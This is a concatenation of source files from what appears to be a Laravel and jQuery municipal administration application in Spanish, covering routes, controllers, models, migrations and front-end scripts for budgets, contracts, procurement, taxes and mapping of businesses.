App\Http\Requests\ConstruccionRequest; class ConstruccionController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function __construct() { $this->middleware('auth'); } public function index() { $construcciones = Construccion::all(); return view('construcciones.index',compact('construcciones')); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $contribuyentes = Contribuyente::all(); $impuestos = Impuesto::all(); $construcciones = Construccion::all(); return view('construcciones.create',compact('contribuyentes','impuestos','construcciones')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { Construccion::create($request->All()); bitacora('Registro una construción'); return redirect('construcciones')->with('mensaje', 'Pago registrado'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { $construcciones = Construccion::findorFail($id); return view('construcciones.show',compact('construcciones')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $construcciones = Construccion::find($id); return view('construcciones.edit',compact('construcciones')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } } <file_sep>$(document).ready(function(){ var total=0.0; var tbMaterial = $("#tbMaterial"); $("#agregar").on("click", function(e){ e.preventDefault(); var unidad_medida = $("#unidad_medida").val() || 0; var descripcion = $("#descripcion").val() || 0; var precio = $("#precio").val() || 0; var cantidad = $("#cantidad").val() || 0; if(unidad_medida && descripcion && precio && cantidad) { var subtotal = parseFloat(precio) * parseFloat(cantidad); $(tbMaterial).append( "<tr data-descripcion="+descripcion+" data-unidad="+unidad_medida+" data-precio="+precio+" data-cantidad="+cantidad+">"+ "<td>"+descripcion+"</td>"+ "<td>"+unidad_medida+"</td>"+ "<td>"+precio+"</td>"+ "<td>"+cantidad+"</td>"+ "<td>"+onFixed(parseFloat(subtotal),2)+"</td>"+ "<td><button type='button' id='eliminar' class='btn btn-danger btn-xs'><span class='glyphicon glyphicon-trash'></span></button>"+ "</tr>" ); total+=subtotal; $("#pie #totalEnd").text(onFixed(parseFloat(total),2)); }else{ swal('¡Aviso!', 'Debe llenar los espacios', 'warning'); } }); $("#btnsub").on("click", function(e){ var nFilas = $("#cuerpo tr").length; var ruta = "/"+carpeta()+"/public/presupuestounidades"; var token = $('meta[name="csrf-token"]').attr('content'); var unidad_admin = $("#unidad_admin").val(); totalp = $("#pie #totalEnd").text(); var presupuesto = new Array(); if(nFilas>0 && unidad_admin != ''){ $(cuerpo).find("tr").each(function(index,element){ if(element) { presupuesto.push({ descripcion : $(element).attr("data-descripcion"), unidad_medida : $(element).attr("data-unidad"), precio : $(element).attr("data-precio"), cantidad : $(element).attr("data-cantidad") }); } }); console.log(total); $.ajax({ url:ruta, headers: {'X-CSRF-TOKEN':token}, type: 'POST', dataType: 'json', data:{unidad_admin,totalp,presupuesto}, success: function(msj){ window.location.href = "/sisverapaz/public/presupuestounidades"; console.log(msj); toastr.success('Proyecto creado éxitosamente'); }, error: function(data, textStatus, errorThrown){ toastr.error('Ha ocurrido un '+textStatus+' en la solucitud'); $.each(data.responseJSON.errors, function( key, value ) { toastr.error(value); }); } }); }else{ swal('¡Aviso!', 'Nada que guardar', 'error'); } }); $(document).on("click","#eliminar",function(e){ var tr = $(e.target).parents("tr"); var auxiliar = $("#totalEnd"); var totalfila = parseFloat($(this).parents("tr").find("td:eq(4)").text()); total = parseFloat(auxiliar.text() - parseFloat(totalfila)); $("#pie #totalEnd").text(onFixed(parseFloat(total),2)); tr.remove(); }); }); function onFixed(valor,maximo){ maximo = (!maximo) ? 2 : maximo; return valor.toFixed(maximo); } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Impuesto extends Model { protected $guarded = []; protected $dates = ['fechabaja']; public function tiposervicio() { return $this->belongsTo('App\Tiposervicio'); } public function construccion() { return $this->hasMany('App\Construccion'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use Carbon\Carbon; use App\Traits\DatesTranslator; class Proyecto extends Model { use DatesTranslator; protected $guarded = []; protected $dates = ['fecha_inicio','fecha_fin']; public static function Buscar($nombre,$estado) { return Proyecto::nombre($nombre)->estado($estado)->orderBy('id')->paginate(10); } public function scopeEstado($query,$estado) { return $query->where('estado',$estado); } public function scopeNombre($query,$nombre) { if(trim($nombre != "")){ return $query->where('nombre','iLIKE', '%'.$nombre.'%'); } } public function presupuestoinventario() { return $this->hasMany('App\PresupuestoInventario'); } public function presupuesto() { return $this->hasMany('App\Presupuesto'); } public function fondo() { return $this->hasMany('App\Fondo'); } public function cuentaproy() { return $this->hasOne('App\Cuentaproy'); } public function organizacion() { return $this->belongsTo('App\Organizacion'); } public function cuenta() { return $this->hasOne('App\Cuenta'); } public function bitacoraproyecto() { return $this->hasMany('App\BitacoraProyecto'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; class ReportesTesoreriaController extends Controller { public function pagos($id) { $pagos = \App\Pago::findorFile($id); $tipo = "REPORTE DE PAGO DE IMPUESTOS"; $pdf = \PDF::loadView('pdf.tesoreria.pago',compact('pagos','tipo')); $pdf->setPaper('letter','portrait'); return $pdf->stream('pagos.pdf'); } } <file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', function () { $users=\App\User::all()->count(); if($users==0){ return view('auth/register'); }else{ return view('auth/login'); } }); Route::get('pdf',function(){ $usuarios = \App\Proveedor::where('estado',1)->get(); $unidad = "Unidad de Adquicisiones Institucionales"; $pdf = \PDF::loadView('pdf.pdf',compact('usuarios','unidad')); $pdf->setPaper('letter', 'portrait'); //$canvas = $pdf ->get_canvas(); //$canvas->page_text(0, 0, "Page {PAGE_NUM} of {PAGE_COUNT}", null, 10, array(0, 0, 0)); return $pdf->stream('reporte.pdf'); }); /////////// RUTAS DE RESPALDO Y RESTAURAR BASE DE DATOS Route::get('backups','BackupController@index'); Route::get('backups/create','BackupController@create')->name('backup.create'); Route::get('backups/descargar/{file_name}','BackupController@descargar'); Route::get('backups/eliminar/{file_name}', 'BackupController@eliminar'); Route::get('backups/restaurar/{file_name}', 'BackupController@restaurar'); //CONFIGURACIONES DE LA ALCALDIA Route::get('configuraciones','ConfiguracionController@create'); Route::post('configuraciones/alcaldia','ConfiguracionController@alcaldia')->name('configuraciones.alcaldia'); Route::put('configuraciones/ualcaldia/{configuracione}','ConfiguracionController@ualcaldia')->name('configuraciones.ualcaldia'); Route::post('configuraciones/alcalde','ConfiguracionController@alcalde')->name('configuraciones.alcalde'); Route::put('configuraciones/ualcalde/{configuracione}','ConfiguracionController@ualcalde')->name('configuraciones.ualcalde'); Route::post('configuraciones/logo','ConfiguracionController@logo')->name('configuraciones.logo'); Auth::routes(); Route::post('authenticate','Auth\loginController@authenticate')->name('authenticate'); Route::get('/home', 'HomeController@index')->name('home'); //administrador Route::post('usuarios/baja/{id}','UsuarioController@baja')->name('usuarios.baja'); Route::post('usuarios/alta/{id}','UsuarioController@alta')->name('usuarios.alta'); Route::Resource('usuarios','UsuarioController'); //Route::Resource('bitacoras' , 'BitacoraController'); Route::get('bitacoras','BitacoraController@index'); Route::get('bitacoras/general','BitacoraController@general'); Route::get('bitacoras/usuario','BitacoraController@usuario'); Route::get('bitacoras/fecha','BitacoraController@fecha'); //Perfil de usuario route::get('home/perfil','UsuarioController@perfil'); route::get('perfil/{id}','UsuarioController@modificarperfil'); Route::put('updateperfil','UsuarioController@updateperfil'); Route::get('avatar','UsuarioController@avatar'); Route::post('usuarios/updateprofile', 'UsuarioController@actualizaravatar'); //////////////////////////////////// UACI ///////////////////////////////////////////////////// Route::post('proveedores/baja/{id}','ProveedorController@baja')->name('proveedores.baja'); Route::post('proveedores/alta/{id}','ProveedorController@alta')->name('proveedores.alta'); Route::Resource('proveedores','ProveedorController'); Route::post('contratos/baja/{id}','ContratoController@alta')->name('contratos.alta'); Route::post('contratos/alta/{id}','ContratoController@baja')->name('contratos.baja'); Route::get('contratos/listarempleados','ContratoController@listarEmpleados'); Route::get('contratos/listartipos','ContratoController@listarTipos'); Route::get('contratos/listarcargos','ContratoController@listarCargos'); Route::post('contratos/guardartipo','ContratoController@guardarTipo'); Route::post('contratos/guardarcargo','ContratoController@guardarCargo'); Route::Resource('contratos','ContratoController'); Route::get('contratacionproyectos/listadeempleados/{id}','EPContratacionController@listadeempleados'); Route::get('contratacionproyectos/todos','EPContratacionController@todosloscontratos'); Route::get('contratacionproyectos/create/{id}','EPContratacionController@create'); Route::get('contratacionproyectos/vercontratado/{id}','EPContratacionController@vercontratado'); Route::Resource('contratacionproyectos','EPContratacionController'); Route::post('contratoproyectos/baja/{id}','ContratoproyectoController@baja')->name('contratoproyectos.baja'); Route::post('contratoproyectos/alta/{id}','ContratoproyectoController@alta')->name('contratoproyectos.alta'); Route::Resource('contratoproyectos','ContratoproyectoController'); Route::post('contratosuministros/baja{id}','ContratoSuministroController@baja')->name('contratosuministros.baja'); Route::post('contratosuministros/alta/{id}','ContratoSuministroController@alta')->name('contratosuministros.alta'); Route::Resource('contratosuministros','ContratoSuministroController'); Route::post('proyectos/baja/{id}','ProyectoController@baja')->name('proyectos.baja'); Route::post('proyectos/alta/{id}','ProyectoController@alta')->name('proyectos.alta'); Route::get('proyectos/listarorganizaciones','ProyectoController@listarOrganizaciones'); Route::post('proyectos/guardarorganizacion','ProyectoController@guardarOrganizacion'); Route::get('proyectos/listarfondos','ProyectoController@listarFondos'); Route::post('proyectos/guardarcategoria','ProyectoController@guardarCategoria'); Route::get('proyectos/getMontos/{id}','ProyectoController@getMontos'); Route::delete('proyectos/deleteMonto/{id}','ProyectoController@deleteMonto'); Route::post('proyectos/addMonto','ProyectoController@addMonto'); Route::Resource('proyectos','ProyectoController'); Route::post('tipocontratos/baja/{id}','TipocontratoController@baja')->name('tipocontratos.baja'); Route::post('tipocontratos/alta/{id}','TipocontratoController@alta')->name('tipocontratos.alta'); Route::Resource('tipocontratos','TipocontratoController'); Route::post('ordencompras/baja/{id}','OrdencompraController@baja')->name('ordencompras.baja'); Route::post('ordencompras/alta/{id}','OrdencompraController@alta')->name('ordencompras.alta'); Route::get('ordencompras/cotizaciones/{id}','OrdencompraController@getCotizacion'); Route::get('ordencompras/montos/{id}','OrdencompraController@getMonto'); Route::get('ordencompras/realizarorden/{id}','OrdencompraController@realizarorden'); Route::get('ordencompras/verificar/{id}','OrdencompraController@verificar'); Route::post('ordencompras/guardar','OrdencompraController@guardar'); Route::get('ordencompras/requisiciones/{id}','OrdencompraController@requisiciones'); Route::Resource('ordencompras','OrdencompraController'); Route::post('presupuestos/crear','PresupuestoController@crear'); Route::get('presupuestos/seleccionaritem/{id}','PresupuestoController@seleccionaritem'); Route::get('presupuestos/getcategorias/{id}','PresupuestoController@getCategorias'); Route::post('presupuestos/guardarcategoria','PresupuestoController@guardarCategoria'); Route::get('presupuestos/getcatalogo/{id}','PresupuestoController@getCatalogo'); Route::get('presupuestos/getunidades','PresupuestoController@getUnidadesMedida'); Route::post('presupuestos/guardardescripcion','PresupuestoController@guardarDescripcion'); Route::post('presupuestos/cambiar','PresupuestoController@cambiar')->name('presupuestos.cambiar'); Route::Resource('presupuestos','PresupuestoController'); Route::get('presupuestodetalles/create/{id}','PresupuestoDetalleController@create'); Route::get('presupuestodetalles/getcatalogo/{idp}/{idc}','PresupuestoDetalleController@getCatalogo'); Route::Resource('presupuestodetalles','PresupuestoDetalleController'); Route::get('catalogos/create','CatalogoController@create'); route::post('catalogos/guardar','CatalogoController@guardar'); Route::Resource('catalogos','CatalogoController'); Route::post('catalogos/baja/{id}','CatalogoController@baja')->name('catalogos.baja'); Route::post('catalogos/alta/{id}','CatalogoController@alta')->name('catalogos.alta'); Route::get('categorias/create','CategoriaController@create'); route::post('categorias/guardar','CatalogoController@guardar'); Route::Resource('categorias','CategoriaController'); Route::post('categorias/baja/{id}','CategoriaController@baja')->name('categorias.baja'); Route::post('categorias/alta/{id}','CategoriaController@alta')->name('categorias.alta'); Route::get('unidadmedidas/create','UnidadMedidaController@create'); route::post('unidadmedidas/guardar','UnidadMedidaController@guardar'); Route::Resource('unidadmedidas','UnidadMedidaController'); //Route::Resource('unidadmedidas/baja/{id}','UnidadMedidaController@baja')->name('unidadmedidas.baja'); //Route::Resource('unidadmedidas/alta/{id}','UnidadMedidaController@alta')->name('unidadmedidas.alta'); Route::get('cotizaciones/ver/cuadros','CotizacionController@cuadros'); Route::get('cotizaciones/ver/{id}', 'CotizacionController@cotizar'); Route::post('cotizaciones/seleccionar','CotizacionController@seleccionar'); Route::post('cotizaciones/baja/{id}','CotizacionController@baja')->name('cotizaciones.baja'); Route::post('cotizaciones/alta/{id}','CotizacionController@alta')->name('cotizaciones.alta'); Route::get('cotizaciones/realizarcotizacion/{id}','CotizacionController@realizarCotizacion'); Route::Resource('cotizaciones','CotizacionController'); Route::get('paacs/crear','PaacController@crear'); route::post('paacs/guardar','PaacController@guardar'); Route::Resource('paacs','PaacController'); Route::Resource('paacdetalles','PaacdetalleController'); Route::Resource('detallecotizaciones','DetallecotizacionController'); Route::post('formapagos/baja/{id}','FormapagoController@baja')->name('formapagos.baja'); Route::post('formapagos/alta/{id}','FormapagoController@alta')->name('formapagos.alta'); Route::Resource('formapagos','FormapagoController'); Route::post('solicitudcotizaciones/baja/{id}','SolicitudcotizacionController@baja')->name('solicitudcotizaciones.baja'); Route::post('solicitudcotizaciones/alta/{id}','SolicitudcotizacionController@alta')->name('solicitudcotizaciones.alta'); Route::get('solicitudcotizaciones/versolicitudes/{id}','SolicitudcotizacionController@versolicitudes'); Route::get('solicitudcotizaciones/getcategorias/{id}','SolicitudcotizacionController@getCategorias'); Route::get('solicitudcotizaciones/getpresupuesto/{id}/{idp}','SolicitudcotizacionController@getPresupuesto'); Route::post('solicitudcotizaciones/cambiar','SolicitudcotizacionController@cambiar'); Route::get('solicitudcotizaciones/create/{id}','SolicitudcotizacionController@create'); Route::Resource('solicitudcotizaciones','SolicitudcotizacionController'); Route::Resource('requisiciones','RequisicionController'); Route::get('requisiciondetalles/create/{id}','RequisiciondetalleController@create'); Route::Resource('requisiciondetalles','RequisiciondetalleController'); Route::Resource('organizaciones','OrganizacionController'); Route::Resource('calendarizaciones','CalendarizacionController'); Route::get('inventarios/getmaterial/{id}','ProyectoInventarioController@getMaterial'); Route::Resource('inventarios','ProyectoInventarioController'); ////////////////triburario ///////////////////////////////////////////////////////////////////////// Route::Resource('contribuyentes','ContribuyenteController'); /*Route::post('contribuyentes/baja/{id}','ContribuyenteController@baja')->name('contribuyentes.baja'); Route::post('contribuyentes/alta/{id}','ContribuyenteController@alta')->name('contribuyentes.alta'); Route::get('contribuyentes/eliminados','ContribuyenteController@eliminados'); Route::Resource('contribuyentes','ContribuyenteController');*/ /* Route::Resource('tiposervicios','TiposervicioController'); Route::post('impuestos/baja/{id}','impuestoController@baja')->name('impuestos.baja'); Route::post('impuestos/alta/{id}','ImpuestoController@alta')->name('impuestos.alta'); Route::Resource('impuestos','ImpuestoController');*/ Route::post('rubros/baja/{id}','RubroController@baja')->name('rubros.baja'); Route::post('rubros/alta/{id}','RubroController@alta')->name('rubros.alta'); Route::Resource('rubros','RubroController'); Route::Resource('negocios','NegocioController'); /* Route::post('inmuebles/baja/{id}','InmuebleController@baja')->name('inmuebles.baja'); Route::post('inmuebles/alta/{id}','InmuebleController@alta')->name('inmuebles.alta'); Route::Resource('inmuebles','InmuebleController'); */ Route::Resource('construcciones','ConstruccionController'); ////////// Tesoreria ////////////////////////////////// Route::Resource('empleados','EmpleadoController'); Route::Resource('retenciones','RetencionController'); Route::Resource('planillas','PlanillaController'); Route::Resource('prestamos','PrestamoController'); Route::Resource('cargos','CargoController'); Route::Resource('cuentas','CuentaController'); Route::Resource('cuentaprincipal','CuentaprincipalController'); Route::Resource('tipopagos','TipopagoController'); Route::Resource('pagos','PagoController'); Route::Resource('tipopagos', 'TipopagoController'); //Rutas de Reportes UACI Route::get('reportesuaci/proyectos','ReportesUaciController@proyectos'); Route::get('reportesuaci/proveedores','ReportesUaciController@proveedor'); Route::get('reportesuaci/solicitud/{id}','ReportesUaciController@solicitud'); Route::get('reportesuaci/ordencompra/{id}','ReportesUaciController@ordencompra'); Route::get('reportesuaci/cuadrocomparativo/{id}','ReportesUaciController@cuadrocomparativo'); Route::get('reportesuaci/contratoproyecto/{id}','ReportesUaciController@contratoproyecto'); //Reportes Tesoreria Route::get('reportestesoreria/pagos/{id}','ReportesTesoreriaController@pagos'); Route::Resource('unidades','UnidadAdminController'); Route::Resource('presupuestounidades','PresupuestoUnidadController'); /** * Rutas para el mapa */ Route::get('negocio/mapa/{id}', 'NegocioController@viewMapa'); Route::post('negocio/mapa/create', 'NegocioController@mapas'); Route::get('mapa', 'NegocioController@mapa'); Route::post('mapa/all', 'NegocioController@mapasAll'); <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateProcedimientoPaac extends Migration { /** * Run the migrations. * * @return void */ public function up() { /*$sql = <<<FinSP CREATE OR REPLACE FUNCTION public.paac( anioo integer, totall real, obra character varying) RETURNS boolean AS $$ DECLARE idpaac INTEGER :=0; BEGIN SELECT "id" INTO idpaac FROM paacs where anio=anioo; IF(idpaac > 0) THEN UPDATE paacs SET total=total+totall WHERE "id"=idpaac; ELSE INSERT INTO paacs (anio,descripcion,total) VALUES (anioo,obra,total); END IF; RETURN true; END $$ LANGUAGE plpgsql VOLATILE COST 100; ALTER FUNCTION public.paac(integer, real, character varying) OWNER TO postgres; FinSP; DB::connection()->getPdo()->exec($sql);*/ } /** * Reverse the migrations. * * @return void */ public function down() { /*$sql = "DROP FUNCTION public.paac(integer, real, character varying);"; DB::connection()->getPdo()->exec($sql);*/ } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class BitacoraProyecto extends Model { protected $guarded = []; public static function bitacora($accion,$proyecto_id) { $bitacora = new BitacoraProyecto; $bitacora->fecha = date('Y-m-d'); $bitacora->hora = date('H:i:s'); $bitacora->accion = $accion; $bitacora->proyecto_id = $proyecto_id; $bitacora->save(); } } <file_sep>var total=0.0; var contador = 0; $(document).ready(function(){ var tbMaterial = $("#tbMaterial"); $("#agregar").on("click", function(e) { // //var tr = $(e.target).parents("tr"), e.preventDefault(); obra = $("#obra").val() || 0, ene = $("#ene").val() || 0.00, feb = $("#feb").val() || 0.00, mar = $("#mar").val() || 0.00, abr = $("#abr").val() || 0.00, may = $("#may").val() || 0.00, jun = $("#jun").val() || 0.00, jul = $("#jul").val() || 0.00, ago = $("#ago").val() || 0.00, sep = $("#sep").val() || 0.00, oct = $("#oct").val() || 0.00, nov = $("#nov").val() || 0.00, dic = $("#dic").val() || 0.00; //if(ene && feb && mar && abr && may && jun && jul && ago && sep && oct && nov &&dic){ if(obra){ var subtotal = parseFloat(ene) + parseFloat(feb) + parseFloat(mar) + parseFloat(abr) + parseFloat(may) + parseFloat(jun) + parseFloat(jul) + parseFloat(ago) + parseFloat(sep) + parseFloat(oct) + parseFloat(nov) + parseFloat(dic) ; contador++; $(tbMaterial).append( "<tr>"+ "<td>" + obra + "</td>" + "<td>" + onFixed( subtotal, 2 ) + "</td>" + "<td>"+ "<input type='hidden' name='obras[]' value='"+obra+"' />"+ "<input type='hidden' name='enero[]' value='"+ene+"' />"+ "<input type='hidden' name='febrero[]' value='"+feb+"' />"+ "<input type='hidden' name='marzo[]' value='"+mar+"' />"+ "<input type='hidden' name='abril[]' value='"+abr+"' />"+ "<input type='hidden' name='mayo[]' value='"+may+"' />"+ "<input type='hidden' name='junio[]' value='"+jun+"' />"+ "<input type='hidden' name='julio[]' value='"+jul+"' />"+ "<input type='hidden' name='agosto[]' value='"+ago+"' />"+ "<input type='hidden' name='septiembre[]' value='"+sep+"' />"+ "<input type='hidden' name='octubre[]' value='"+oct+"' />"+ "<input type='hidden' name='noviembre[]' value='"+nov+"' />"+ "<input type='hidden' name='diciembre[]' value='"+dic+"' />"+ "<input type='hidden' name='totales[]' value='"+subtotal+"' />"+ "<button type='button' id='delete-btn' class='btn btn-danger'>Eliminar</button></td>" + "</tr>" ); total +=subtotal; $("#total").val(onFixed(total)); $("#contador").val(contador); $("#pie #totalEnd").text(onFixed(total)); //total2=total; clearForm(); }else{ swal( '¡Aviso!', 'Debe llenar todos los campos', 'warning' ) } }); function onDisplayTotal () { }; $("#btnsub").on("click", function (e) { var elementos = new Array(), token = null; proyecto = null; totalpre = null; $(tbMaterial).find("tr").each(function (index, element) { if(element){ elementos.push({ material : $(element).attr("data-material"), cantidad :$(element).attr("data-cantidad"), precio : $(element).attr("data-precio") }); //total = totalp+(parseFloat(cantidad))*(parseFloat(precio)); } token = $("#_token").val(); proyecto = $("#proyecto").val(); totalpre = $("#pie #totalEnd").text(); }); /*var elemento = { cliente : cliente, mejora : mejora, trabajados : trabajados, total : totalpre, elementos : arrayElement };*/ /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// $.ajax({ type: "POST", headers: {'X-CSRF-TOKEN' : token }, url: '/alcaldia/public/presupuestos', dataType: 'json', data: {materiales: elementos, presupuesto: presupuesto, total: totalpre }, success : function(msj){ //alert('Dato insertado'); console.log(msj.responseJSON); window.location.reload(); }, error : function(msj){ //console.log(msj.responseJSON); } }); /*$.post("", elemento) .done(function (response) { console.log(response); if(response){ alert("guardo"); //win2ow.location.reload(); } });*/ }); $(document).on("click", "#delete-btn", function (e) { var tr = $(e.target).parents("tr"), totaltotal = $("#totalEnd"); var totalFila=parseFloat($(this).parents('tr').find('td:eq(1)').text()); total = parseFloat(totaltotal.text()) - parseFloat(totalFila); var totalValue = parseFloat(totaltotal.text()) - parseFloat(totalFila); tr.remove(); $("#total").val(onFixed(totalValue)); $("#pie #totalEnd").text(onFixed(totalValue)); contador--; $("#contador").val(contador); }); function clearForm () { $("#paac").find(":text, #obra").each(function (index, element) { $(element).val(""); }); } function onDisplaySelect (productoID) { $("#producto option").each(function (index, element) { if($(element).attr("value") == productoID ){ $(element).css("display", "block"); } }); } function onFixed (valor, maximum) { maximum = (!maximum) ? 2 : maximum; return valor.toFixed(maximum); } }); <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreatePrestamosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('prestamos', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('empleado_id')->unsigned(); $table->string('banco'); $table->integer('numero_de_cuenta'); $table->float('monto',8,2); $table->integer('estado')->default(1); $table->timestamps(); $table->foreign('empleado_id')->references('id')->on('empleados'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('prestamos'); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; class LicitacionController extends Controller { // } <file_sep>$(document).ready(function(){ cargarEmpleados(); cargarCargo(); cargarTipo(); $('#guardarempleado').on("click", function(e){ var retorno = guardarEmp(); if(retorno==1){ cargarEmpleados(); } }); $('#guardartipo').on("click", function(e){ var nombre = $("#nombre_tipo").val(); var ruta = "/"+carpeta()+"/public/contratos/guardartipo"; var token = $('meta[name="csrf-token"]').attr('content'); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{nombre:nombre}, success: function(){ toastr.success('Tipo de contrato creado con éxito'); cargarTipo(); },error : function(data){ toastr.error(data.responseJSON.errors.nombre); } }); }); $('#guardarcargo').on("click", function(e){ var cargo = $("#cargo_nombre").val(); var ruta = "/"+carpeta()+"/public/contratos/guardarcargo"; var token = $('meta[name="csrf-token"]').attr('content'); $.ajax({ url: ruta, headers: {'X-CSRF-TOKEN':token}, type:'POST', dataType:'json', data:{cargo:cargo}, success: function(){ toastr.success('Cargo creado con éxito'); $("#cargo_nombre").val(""); cargarCargo(); }, error:function(data){ toastr.error(data.responseJSON.errors.cargo); } }); }); }); function cargarEmpleados(){ $.get('/'+carpeta()+'/public/contratos/listarempleados', function (data){ var html_select = '<option value="">Seleccione un empleado</option>'; for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].id+'">'+data[i].nombre+'</option>' //console.log(data[i]); $("#empleado").html(html_select); } }); } function cargarTipo(){ $.get('/'+carpeta()+'/public/contratos/listartipos', function (data){ var html_select = '<option value="">Seleccione un tipo de contrato</option>'; for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].id+'">'+data[i].nombre+'</option>' //console.log(data[i]); $("#tipocontrato").html(html_select); } }); } function cargarCargo(){ $.get('/'+carpeta()+'/public/contratos/listarcargos', function (data){ var html_select = '<option value="">Seleccione un cargo</option>'; for(var i=0;i<data.length;i++){ html_select +='<option value="'+data[i].id+'">'+data[i].cargo+'</option>' //console.log(data[i]); $("#cargo").html(html_select); } }); } <file_sep><?php namespace App\Http\Controllers; use App\Http\Requests\TipocontratoRequest; use Illuminate\Http\Request; use App\Tiposervicio; use App\Http\Requests\TiposervicioRequest; class TipoServicioController extends Controller { public function index() { return TipoServicio::select('id', 'nombre', 'costo', 'estado', 'isObligatorio')->get(); } public function show(TipoServicio $tipoServicio) { return $tipoServicio; } } <file_sep>import * as mapa from './mapa.config.js' import swal from 'sweetalert' module.exports = function($scope, $rootScope, NgMap, Restangular) { $scope.googleMapsUrl="https://maps.googleapis.com/maps/api/js?key=<KEY>&libraries=geometry" $scope.vm = this; $scope.position = {} $scope.positions = []; $scope.$watch('position', function(newValue, oldValue) { if(newValue){ $scope.positions[0] = newValue } }); let array = window.location.href.split('/'); NgMap.getMap().then((map) => { $scope.vm = map; let styledMap = new google.maps.StyledMapType(mapa.default, {name: "Styled Map"}); $scope.vm.mapTypes.set('map_style', styledMap); $scope.vm.setMapTypeId('map_style'); }); $scope.addMarker = (event) => { if($scope.positions[0].lat == 0 && $scope.positions[0].lng == 0){ addMarkerFunction(event); return; } swal({ title: "Modificar", text: "¿Esta seguro que desea modificar la ubicacion de este negocio?", icon: "warning", buttons: true, dangerMode: true, }) .then((willDelete) => { if (willDelete) { swal("Se actualizo con exito la nueva ubicacion", { icon: "success", }); addMarkerFunction(event) } }); } function addMarkerFunction (event) { var ll = event.latLng; if(ll){ Restangular.all('create').customPOST({ id: $scope.position.id, lat:ll.lat(), lng: ll.lng() }, '').then((response) => { let array = $scope.positions; if(array.length == 0){ $scope.positions.push({ 'lat': response.lat, 'lng': response.lng }) }else{ $scope.positions[0] = { 'lat': response.lat, 'lng' : response.lng } } }, (error) => { toastr.success(error.data.message, 'Error!') }) } } }<file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class AddCamposDarbajaToProyectos extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('proyectos', function (Blueprint $table) { $table->string('motivobaja')->nullable(); $table->integer('estadoanterior')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('proyectos', function (Blueprint $table) { $table->dropColumn('motivobaja'); $table->dropColumn('estadoanterior'); }); } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Configuracion; class ConfiguracionController extends Controller { public function create() { $configuraciones = Configuracion::first(); return view('configuraciones.create',compact('configuraciones')); } public function alcaldia(Request $request) { Configuracion::create([ "direccion_alcaldia" => $request->direccion_alcaldia, "nit_alcaldia" => $request->nit_alcaldia, "telefono_alcaldia" => $request->telefono_alcaldia, "fax_alcaldia" => $request->fax_alcaldia, "email_alcaldia" => $request->email_alcaldia ]); return redirect('configuraciones')->with('mensaje','Datos registrados con éxito'); } public function ualcaldia(Request $request,$id) { $configuracion=Configuracion::find($id); $configuracion->direccion_alcaldia=$request->direccion_alcaldia; $configuracion->nit_alcaldia=$request->nit_alcaldia; $configuracion->telefono_alcaldia=$request->telefono_alcaldia; $configuracion->fax_alcaldia=$request->fax_alcaldia; $configuracion->email_alcaldia=$request->email_alcaldia; $configuracion->save(); return redirect('configuraciones')->with('mensaje','Datos registrados con éxito'); } public function alcalde(Request $request) { Configuracion::create([ 'nombre_alcalde' => $request->nombre_alcalde, 'nacimiento_alcalde' => $request->invertir_fecha($request->nacimiento_alcalde), 'dui_alcalde' => $request->dui_alcalde, 'nit_alcalde' => $request->nit_alcalde, 'domicilio_alcalde' => $request->domicilio_alcalde, 'oficio_alcalde' => $request->oficio_alcalde ]); return redirect('configuraciones')->with('mensaje','Datos registrados con éxito'); } public function ualcalde(Request $request) { $configuracion = Configuracion::find($id); $configuracion->nombre_alcalde=$request->nombre_alcalde; $configuracion->nacimiento_alcalde = invertir_fecha($request->nacimiento_alcalde); $configuracion->dui_alcalde = $request->dui_alcalde; $configuracion->nit_alcalde = $request->nit_alcalde; $configuracion->domicilio_alcalde = $request->domicilio_alcalde; $configuracion->oficio_alcalde = $request->oficio_alcalde; $configuracion->save(); return redirect('configuraciones')->with('mensaje','Datos registrados con éxito'); } public function logo(Request $request) { } } <file_sep>var busca=""; $(document).ready(function(e){ $(".cmbusuario").hide(); $(".txtdia").hide(); $(".txtinicio").hide(); $(".txtfin").hide(); //variables para las fechaCastellas var ultimo = new Date($('#ultimo').val()); var dias = 1; // Número de días a agregar ultimo.setDate(ultimo.getDate() + dias); // var start = new Date(); end = new Date(); var start2, end2; end.setDate(end.getDate() + 365); $('.txtdia').datepicker({ selectOtherMonths: true, changeMonth: true, changeYear: true, dateFormat: 'dd-mm-yy', minDate: ultimo, maxDate: '+0m +0w', format: 'dd-mm-yyyy' }); 